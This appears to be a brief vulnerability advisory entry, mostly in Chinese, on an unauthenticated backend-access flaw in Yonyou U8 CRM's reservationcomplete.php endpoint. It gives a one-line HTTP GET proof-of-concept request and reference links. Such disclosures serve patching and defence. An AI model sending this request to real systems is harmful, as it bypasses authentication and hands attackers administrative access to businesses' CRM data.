Description
用友U8 CRM（Customer Relationship Management，客户关系管理）是由用友公司开发的一款软件，专门设计用于帮助企业管理与客户相关的业务活动。用友U8 CRM系统/background/reservationcomplete.php接口处存在逻辑漏洞，攻击者可通过该漏洞直接进去后台，获取后台权限。
用友U8 CRM /background/reservationcomplete.php 未授权访问漏洞
PoC
GET /background/reservationcomplete.php?ID=1 HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://cn-sec.com/archives/2363384.html
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BCRM%E7%B3%BB%E7%BB%9Freservationcomplete.php%E5%AD%98%E5%9C%A8%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%E7%9B%B4%E6%8E%A5%E7%99%BB%E5%BD%95%E5%90%8E%E5%8F%B0.md
https://blog.huangque888.com/archives/46423.html
https://www.cnblogs.com/fengzun/articles/18365219